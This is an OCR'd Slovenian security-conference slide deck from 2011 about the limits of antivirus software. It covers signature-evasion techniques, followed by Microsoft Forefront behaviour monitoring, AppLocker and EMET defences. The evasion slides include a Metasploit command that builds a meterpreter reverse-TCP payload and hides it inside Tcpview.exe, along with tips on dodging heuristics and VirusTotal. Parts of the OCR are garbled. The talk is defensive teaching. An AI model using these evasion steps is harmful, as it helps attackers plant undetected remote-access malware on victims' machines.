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Agenda

e Kdaj, kako in zakaj sem se odlocil, da ne
bom uporabljal antivirusnih programov

e Zgodovina/sedanjost/prihodnost

e Kako in zakaj sem bom odlocCil, da bom
uporabljal antivirusni program

e Dodatne resitve
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Zgodovina virusov

OS & SW Design Abuse
Mass Mailers via Office

Exploits / 3@ Party SW Vuln.
Mass Browser Adoption




Sedanjost virusov

Stuxnet — prvo orozje iz kode
Industrijsko-vojaski napad
20 zero day exploitov

Napada tri platforme:
® Windows, Siemens SW in Siemens PLC

http://vimeo.com/25118844




Koncept sirjenja

e Cikel razvoja virusa
® Authoring day
® Zero day
® Detection day
® Response day

P (Patch) Day?




Odkrivanje virusov na podlagi

definicij

e VecCina AV programov sestavi definicjo
virusa iz.

® File properties:
CheckSum = File Type + File Size

® First few bytes of the malicious code
® Recimo npr.: 32 bajtov od doloCenega bajta dalje



Problematika

e Symantec: V letu 2010 je bilo odkritih:
® Sest tisoC novih ranljivosti
® 14 zero day napadov

® 286 milijonov razliCic zlonamerne programske
kode

e Sophos: V letu 2010 je bilo odkritih:

® 95.000 kosov zlonamerne kode dnevno
® Unikatna datoteka na 0,9 sekunde 24/7/365
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Virus Total

Virustotal is a service that analyzes suspicious
VI RU S files and URLs and facilitates the quick

detection of viruses, worms, trojans, and all kinds

TOTAL of malware detected by antivirus engines. More
information

Analysis Search Stats Advanced VT Community FAQ About VT

Service load @ i ]

[ Browse...

7] Send it over SSL ©

Send file

(Maximum file size: 20MB)

http://www.virustotal.com/




Pristopl

Kovaske metode
Binarno urejanje
Kodiranje
Pakiranje
Zameglevanje
Zahtevnejsi pristopl
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Kovaske metode

osnovne lastnosti
571033 1 VERSIONINFO

. S p re m e n i m O 2 Resource Hacker - C:\Users\Toni\Desktop\BE2011\Tools\fgdump-2.1.0-exeonly\fgdump.exe l- o F-')'('-'T
&3 BIN _
=4y Version Info |
24931
(opis) datoteke, rrmmssion 30,00

FILEOS Ox4

iZV ré Ij iVi del {FILEIYPE ox1

BLOCK "StringFileInfo™

pusti mo enak: ! BLCCK "040904bO"™

{

. VALUE "CompanyName™, "Foofus Networking
. Orod e- Resou rce VALUE "FileDescription™, "
J . VALUE "FileVersion -
VALUE "Internall
HaCker VALUE "LegalCopyright", "Copyright
VALUE "LegalTIrademar s
(o}

VALUE "Ori alFilename®”, "

http://www.angusj.com/resourcehacker/

http://www.room362.com/blog/2010/6/2/av-bypass-made-stupid.html




Binarno urejanje

e |deja — poiscemo dejansko definicijo virusa
e S pomocjo orodij:

e DSplit

® HexWorkshop

e OllyDebugger

e Spremenimo datoteko na ta nacin, da
ohranimo izvrsljivost in spremenimo
definicijo v IZVRSLJIVEM delu



&

29. in 30. septembra 2011 v Kongresnem centru Spik, Gozd Martuljek

Binarno urejanje

Tiny AV Signatures Detector

coded by class101 [heapoverflow.com 2006]

DSplit. exe

NOTE:
Sbyte....: the
the
Rvalue...: the
FileName. : the

Sbyte Ebyte Rvalue FileName

starting octet position i1in the file

ending octet position in the file

number of octets added from sbyte to ebyte per file
complete filename and extension

simply useful

C:\Users\Ton1\Desktop\BE2011\Tools>_

dsplit.exe 0 16384 1024 dsplit.exe
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Kodiranje

e Msfencode — Metasploit cmdline program
® Dve tehniki: ,old” in ,new"

® Nova metoda vstavi payload v .text segment
izbrane izvrsljive datoteke (imenujemo jih
predloge, npr. pslist.exe).

® Potrebno je biti previden pri izbiri predlog

® Dela samo na 32 bitnih razliCicah Windows.
/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.92.131 LPORT=443 R

| ./msfencode -t exe -x /tmp/Tcpview.exe -o /tmp/Tcpview2.exe [*] x86/shikata_ga nai
succeeded with size 318 (iteration=1)




Prikrivanje - zameglevanje
®, simple shell code obfuscation®

]

. Shellcode byte

. Junk length before next byte

Random value



Pakiranje

e Program zapakiramo s pomocjo packing
orodij in s tem prikrijemo informacijo o
izvrsljivem delu:

e UPX n
® Poly packer

i
SET—— | J I e
- ASPaCk . Data
section B | sectmr:)

A ————

|

Code

® Petite

I~‘ i L -

(-)ri;:in;ll PE Compressed PE Execution of
file file Compressed PE

file



Zahtevnejsi pristopi

® Spreminjanje izvorne kode:
® Ce imamo dostop do kode
® Ce imamo znanje

e Ponovno prevajanje z drugimi prevajalniki
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Posledice — Changing Fake AV

B C\windows\system32\cmd.exe O |2 -
D:\Files\Originald>ndS.exe InternetSecurity2flil-1.exe
L 7DEASBEY6ASY6D6E8B2948F22ADF6784C InternetSecurity2fil-1 .exe

D:\Files\Originald>ndS5.exe InternetSecurity2@il-2.exe
1DBBE345D36971488B37EABSCL12E278EY  InternetSecurityZill~2 . exe

D:NFiles\Originalo>ndS.exe InternetSecurityZédil-3.exe
SDPD2ZA1FBB6EBGAISIAZ67DDSS6C645 InternetSecurityZ2Bll-3.exe

D:NFiles\Originald>ndS5.exe InternetSecurityZ2édll-4.exe
21831CCHABAS285B196FE4AFC6CESS85B77 InternetSecurityZifll-4.exe

Directory of D:\Files\Original

95:32 PH <DIR> .

95:32 PH <DIR> e

85:15 PH 847,872 InternetSecurity2fll-1.exe
85:17 PH 847,872 InternetSecurity2fll-2.exe
85:286 PH 847,872 InternetSecurity2811-3.exe
85:29 PH 847,872 InternetSecurity2fil-4.exe




Ostali napotki za izogibanje odkritju

e Slabe strategije za pisanje virusov:
® Kar se da hitro izvajanje kode
e Cim manj3a koda
® Predolgo cakanje — zanke
e Najslabsa strateqgija:
® ,Upload” spremenjene kode na VirusTotal ©

e Uporabi offline CWSandbox (GFl)
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VampCrypt

e V teku priprave demonstracije sem dobil se
namig — namesto demo - video

- O

- | S —
@ @ http://www.abysssec.com/blog/tag/vamperypt/ O ~ G X EE IS @]

& Internet Explorer cannot dis... *

“ Internet Explorer cannot display the webpage

What you can try:

[ Diagnose Connection Problems ]

v) More information




Odkrivanje virusov na podlagi
obnasanja

e Pri analizi odkrivanja virusne kode
scasoma ugotovimo, da proizvajalci
uporabljajo nove pristope:
® Primer, kombinacija naslednjih klicev lahko

sprozi AV alarm:
DownloadFileFromURL + ExecuteFile + ExitProcess

® Heuristika na delu?
odstranimo ExitProcess = no alert ©
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Forefront Endpoint Protection 2010
Zascitni mehanizmi

Firewall & Configuration Management - C| IJ |

e Manj tasa in denarja za
Dynamic Zaéélto
Signature ...

® Podraziti napade,

skrajsati okno za

napade

Network Vulnerability Shielding

® Vpelava novih zascitnih
re————yrr—— tehnologij
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Forefront Endpoint Protection 2010
Poglavitne izboljseve

Zascita v realnem casu

® lzboljsano pregledovanje
P ——— procesov, registra, mreze

Senature |zboljsana ucinkovitost

Service Wild card izloGanje
Foksvinostskenari

rr—r—— Omejevanie porabe procesoria
cmdline skeniranje

|zboljSano pridobivanje definicij

Firewall & Configuration Management

Malware Response “MMPC”
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Forefront Endpoint Protection 2010
Generika in hevristika

Firewall & Configuration Management ™ Vpeljava Dynamic Translation
(DT) tehnologije
Antimalware o _ _ _ .
. e Dovoljuje odkrivanje tisoCih
Dynamic Generics and Heuristics kosov zlonamerne kode z eno
Signature HREH
Service Behavior Monitoring deﬂ n ICIJO
e DT odkriva iste napade, ki so
Browser Protection drugaée prlkrltl
Network Vulnerability Shielding PY Odkriva pOIimOran Zlonamerno
Anti-rootkit kodo

Malware Response “MMPC”
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Forefront Endpoint Protection 2010
Dynamic Translation

push
push
call
cmp

HANDLE hFile;
hFile = CreateFile (L"NewVirus.exe", GENERIC WRITE, 0, NULL,

CREATE NEW,
FILE ATTRIBUTE HIDDEN, NULL) ;

40000000h
offset string L"NewVirus.exe”

dword ptr [__imp CreateFileW@28]
esi,esp

e Primer zlonamerne
kode, ki bi rada
dostopala do
resnicnih virov

<
DT kot nacCin emulacije

dovoli dostop le do =
. . . . v pus
virtualiziranih virov/tece call

pa hitro — pravi CPU e

40000000h

offset string L"NewVirus.exe”
dword ptr [DT CreateFile]
esi,esp
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Forefront Endpoint Protection 2010
Spremljanje obnasanja

Firewall & Configuration Management ® Spremljanje obnasanja v realnem Casu

omogoca odkrivanje novih grozenj
Antimalware .
e Spremlja neznane procese

Dynamic Generics and Heuristics e Spremlja znane procese, katerih
SIEmEE obnasanje odstopa

Service Behavior Monitoring _ , . ,
e Primarno spremlja operacije nad procesi,
Browser Protection nad datotekami, nad registrom

Spremlja tudi mrezno aktivnost

e Spremlja spremembe kernela (Anti
rootkit — zato so kupili Komuku)

Malware Response “MMPC” e Spremlja nalaganje iz spleta

Network Vulnerability Shielding

Anti-rootkit
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Spremljanje obnasanja

e
o Notifi -
<=3 RTP cation BM
= Queue
4 % - a
Delovanje:

1. Aplikacija poklice funkcijo knjiznice

2. Nekatere funkcije knjiznic uporabljajo manjso mnozico
sistemskih klicev

3. RTP - realno Casno spremljanje zapisuje sistemske
klice

4. Pripravi obvestila

9. Ki jih sprocesira BM, mehanizem za spremljanje
obnasanja

Functions provided by user mode
libraries
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Spremljanje obnasanja

/ Filesystem \ / Regqistry \ / Network \

FileCreate RegistryKeyCreate NetworkConnect
FileModify RegistrySetValue NetworkData
FileDelete RegistryKeyDelete NetworkListen

Odkrivanje botov in spammer;j

FileRename RegistryValueDelete
FileSeek RegistryKeyRename
\ Strean] \OnDirs J J J
ev

Odkrivanje Odkrivanje ASEPs {

dropper-jev okuzb (autorun) sprememb \
datotek registra / Other

Odkrivanje okuzb procesov
in napadov ModuleLoad
S ProcessCreate
\J>

OpenProcess

= ProcessTerminate
DriverLoad

BootSectorChange

-

Odkrivanije rootkitov
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Forefront Endpoint Protection 2010
ZascCita pred mreznimi napadi

Firewall & Configuration Management ® Network Inspection System odkriva in
blokira mrezne napade

NIS pregleduje vhodni in izhodni promet
in blokira odkrite napade

e Ce so radunalniki posodobljeni z vsemi
popravki, se pregled prometa izklopi

e Manjsa implementacija predstaviljena v
FEP 2010, v prihodnosti bodo
dopolnjevali ob pososodabljanju
,engine“-a

Antimalware

Dynamic Generics and Heuristics
Signature

Service

Behavior Monitoring

Browser Protection

Network Vulnerability Shielding
Anti-rootkit

Malware Response “MMPC”
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Vklop BM in NIS

r - I b
& st se arits T— i

Computer status - Protected

8 update

Scheduled scan - y :
Diatsiit silines V| Turn on reai-tnme_protectnog (recomm_ended)
Real-time protection alerts you when viruses, spyware, or other potentially unwanted

Real-time protection software attempts to install itself or run on your computer. Tell me more

Excluded files and locations
Excluded file types Select real-time protection options:

Excluded processes (V] Scan all downloads

Advanced Scan files and attachments that you download from the Internet.

Microsoft SpyNet _
/| Monitor file and program activity on your computer

irMoni‘tor all files -

[¥] Enable behavior monitoring
Check for certain patterns of suspicious activity.




Dodatne resitve
AppLocker

e Ustvarjanje seznama dovoljenih
programov

e Deluje na podlagi:
e Certifikatov (publisher)

® Hash
® File/path rule

e Ne resi vseh tezav
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Dodatne resitve
The Enhanced Mitigation Experience Toolkit

e Zascita aplikacij g —pre=—
tudi pred O day napadi = = n
Address Space Layout Randomization (ASLR) R4 sovicaton optin

Configure System |

AL

g

eOCO0COCOCO0C0C0OCOOCOOCOREOE
|0
',%CCCCCCCCCCCCCCCCCCCC%

http://support.microsoft.com/kb/
2458544

http://blogs.technet.com/b/srd/archive/
2010/09/10/use-emet-2-0-to-block-the- |
adobe-0-day-exploit.aspx




Dodatne resitve
Forefront TMG 2010

e Resuje probleme racunalnikov brez AV
e Brez posodobljenega AV

¢ Omogoca centralni nadzor

e Ustvarjanje pravil glede na vsebino
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Dodatne resitve
Forefront TMG 2010

I, Microsoft®
- Forefront
Threat Management Gateway 2010

Access to the file is blocked.

5




Za konec — kateri procesi so to?

spoolsv.exe
Searchfilterhost.exe
Searchindexer.exe
Searchprotocolhost.exe

*Procesi, ki jih izkljuCimo iz pregleda AV na odjemalcih
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Virl:
e Navedeni na slide-ih

e Symantec:
http://www.symantec.com/business/threatreport/

e Sophos:

http://www.sophos.com/en-us/security-news-
trends/security-trends/security-threat-report-2011.aspx
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